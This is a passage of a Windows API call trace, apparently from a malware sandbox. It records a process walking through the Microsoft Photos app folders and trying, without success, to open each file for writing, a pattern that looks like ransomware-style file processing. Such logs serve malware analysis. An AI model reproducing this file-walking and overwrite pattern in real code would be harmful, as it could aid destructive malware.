	[0091.090] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0091.090] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.090] GetLastError () returned 0x5
	[0091.090] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0091.090] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5028320) returned 1
	[0091.090] FindNextFileW (in: hFindFile=0x46a7310, lpFindFileData=0x470f720 | out: lpFindFileData=0x470f720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe589f8c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xbe589f8c, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xbe589f8c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2968, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0091.091] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0091.091] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0091.091] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x50274b0
	[0091.091] wcscpy (in: _Dest=0x50274b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe"
	[0091.091] wcscat (in: _Dest=0x50274b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\"
	[0091.091] wcscat (in: _Dest=0x50274b0, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0091.091] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0091.091] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0091.092] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.092] GetLastError () returned 0x5
	[0091.092] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0091.092] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50274b0) returned 1
	[0091.092] FindNextFileW (in: hFindFile=0x46a7310, lpFindFileData=0x470f720 | out: lpFindFileData=0x470f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe589f8c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb0f30e8c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbe5b019c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0091.092] wcscmp (_String1="Assets", _String2=".") returned 1
	[0091.092] wcscmp (_String1="Assets", _String2="..") returned 1
	[0091.092] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x491d448
	[0091.092] wcscpy (in: _Dest=0x491d448, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe"
	[0091.092] wcscat (in: _Dest=0x491d448, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\"
	[0091.092] wcscat (in: _Dest=0x491d448, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0091.092] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x491ce80
	[0091.092] wcscpy (in: _Dest=0x491ce80, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0091.092] wcscat (in: _Dest=0x491ce80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0091.092] wcscat (in: _Dest=0x491ce80, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\*"
	[0091.092] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502ce18
	[0091.092] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\*", lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe589f8c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb0f30e8c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbe5b019c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477afa8
	[0091.096] wcscmp (_String1=".", _String2=".") returned 0
	[0091.096] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe589f8c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb0f30e8c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbe5b019c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.096] wcscmp (_String1="..", _String2=".") returned 1
	[0091.096] wcscmp (_String1="..", _String2="..") returned 0
	[0091.096] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe589f8c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xbe589f8c, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xbe589f8c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.contrast-black_scale-200.png", cAlternateFileName="")) returned 1
	[0091.096] wcscmp (_String1="PhotosAppList.contrast-black_scale-200.png", _String2=".") returned 1
	[0091.096] wcscmp (_String1="PhotosAppList.contrast-black_scale-200.png", _String2="..") returned 1
	[0091.097] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13c) returned 0x2d85ee8
	[0091.097] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0091.097] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0091.097] wcscat (in: _Dest=0x2d85ee8, _Source="PhotosAppList.contrast-black_scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_scale-200.png"
	[0091.097] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\photosapplist.contrast-black_scale-200.png")) returned 0x20
	[0091.101] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.101] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\photosapplist.contrast-black_scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.101] GetLastError () returned 0x5
	[0091.101] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.101] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0091.101] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe589f8c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xbe589f8c, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xbe589f8c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x16e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.contrast-white_scale-200.png", cAlternateFileName="")) returned 1
	[0091.101] wcscmp (_String1="PhotosAppList.contrast-white_scale-200.png", _String2=".") returned 1
	[0091.101] wcscmp (_String1="PhotosAppList.contrast-white_scale-200.png", _String2="..") returned 1
	[0091.102] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13c) returned 0x2d85ee8
	[0091.102] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0091.102] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0091.102] wcscat (in: _Dest=0x2d85ee8, _Source="PhotosAppList.contrast-white_scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_scale-200.png"
	[0091.102] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\photosapplist.contrast-white_scale-200.png")) returned 0x20
	[0091.103] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.103] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\photosapplist.contrast-white_scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.103] GetLastError () returned 0x5
	[0091.103] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.103] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0091.103] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe589f8c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xbe589f8c, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xbe589f8c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.scale-200.png", cAlternateFileName="")) returned 1
	[0091.103] wcscmp (_String1="PhotosAppList.scale-200.png", _String2=".") returned 1
	[0091.104] wcscmp (_String1="PhotosAppList.scale-200.png", _String2="..") returned 1
	[0091.104] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11e) returned 0x4782d68
	[0091.104] wcscpy (in: _Dest=0x4782d68, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0091.104] wcscat (in: _Dest=0x4782d68, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0091.104] wcscat (in: _Dest=0x4782d68, _Source="PhotosAppList.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosAppList.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosAppList.scale-200.png"
	[0091.104] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosAppList.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\photosapplist.scale-200.png")) returned 0x20
	[0091.106] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosAppList.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.106] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosAppList.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\photosapplist.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.106] GetLastError () returned 0x5
	[0091.106] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosAppList.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.106] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4782d68) returned 1
	[0091.107] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe589f8c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xbe589f8c, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xbe589f8c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xad4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosLargeTile.contrast-black_scale-200.png", cAlternateFileName="")) returned 1
	[0091.107] wcscmp (_String1="PhotosLargeTile.contrast-black_scale-200.png", _String2=".") returned 1
	[0091.107] wcscmp (_String1="PhotosLargeTile.contrast-black_scale-200.png", _String2="..") returned 1
	[0091.107] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x140) returned 0x2d85ee8
	[0091.107] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0091.107] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0091.107] wcscat (in: _Dest=0x2d85ee8, _Source="PhotosLargeTile.contrast-black_scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-black_scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-black_scale-200.png"
	[0091.107] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-black_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\photoslargetile.contrast-black_scale-200.png")) returned 0x20
	[0091.115] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-black_scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.115] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-black_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\photoslargetile.contrast-black_scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.115] GetLastError () returned 0x5
	[0091.115] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-black_scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.115] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0091.115] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe589f8c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xbe589f8c, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xbe589f8c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosLargeTile.contrast-white_scale-200.png", cAlternateFileName="")) returned 1
	[0091.115] wcscmp (_String1="PhotosLargeTile.contrast-white_scale-200.png", _String2=".") returned 1
	[0091.115] wcscmp (_String1="PhotosLargeTile.contrast-white_scale-200.png", _String2="..") returned 1
	[0091.115] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x140) returned 0x2d85ee8
	[0091.115] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0091.115] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0091.115] wcscat (in: _Dest=0x2d85ee8, _Source="PhotosLargeTile.contrast-white_scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-white_scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-white_scale-200.png"
	[0091.115] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-white_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\photoslargetile.contrast-white_scale-200.png")) returned 0x20
	[0091.116] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-white_scale-200.png", dwFileAttributes=0x20) returned 0
